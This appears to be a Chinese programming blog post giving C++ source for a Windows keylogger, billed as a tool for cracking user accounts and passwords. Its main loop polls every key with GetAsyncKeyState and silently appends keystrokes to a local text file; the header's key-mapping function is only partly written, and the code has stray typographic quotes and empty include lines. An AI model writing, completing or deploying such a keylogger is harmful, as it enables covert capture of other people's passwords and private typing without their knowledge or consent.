一、【程序运行效果】
二、【主函数】
// CrackPasswordDemo.cpp : 定义控制台应用程序的入口点。
//
#include “stdafx.h”
#include “KeyFile.h”
int _tmain(int argc, _TCHAR* argv[])
{
string Filename = “.\TLDataFile.txt”;
string TempString = “”;
fstream FStream;
printf("\n\n\n\n\n\t\t※※※※※※※※※※※※※※※※※※※※※※※※※※※※\n");
printf("\t\t※ ※\n");
printf("\t\t※ 【破解用户账号及密码工具系统】 ※\n");
printf("\t\t※ ※\n");
printf("\t\t※ 作者:Sirius ※\n");
printf("\t\t※ ※\n");
printf("\t\t※※※※※※※※※※※※※※※※※※※※※※※※※※※※\n");
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
while (true)
{
Sleep(5);
for (int i = 8; i <= 255; i++)
{
if (GetAsyncKeyState(i) & 1 == 1)
{
TempString = GetKey(i);
FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}
}
}
return 0;
}
三、【头文件】
#include <windows.h>
#include <Winuser.h>
#include
#include
#include
using namespace std;
string GetKey(int Key) // 判断键盘按下什么键
{
string KeyString = “”;
//判断符号输入
const int KeyPressMask = 0x80000000; //键盘掩码常量
int iShift = GetKeyState(0x10); //判断Shift键状态
bool IS = (iShift & KeyPressMask) == KeyPressMask; //表示按下Shift键
主要判断用户键盘扫描码与虚拟键码之间的转换即可完成
return KeyString;
}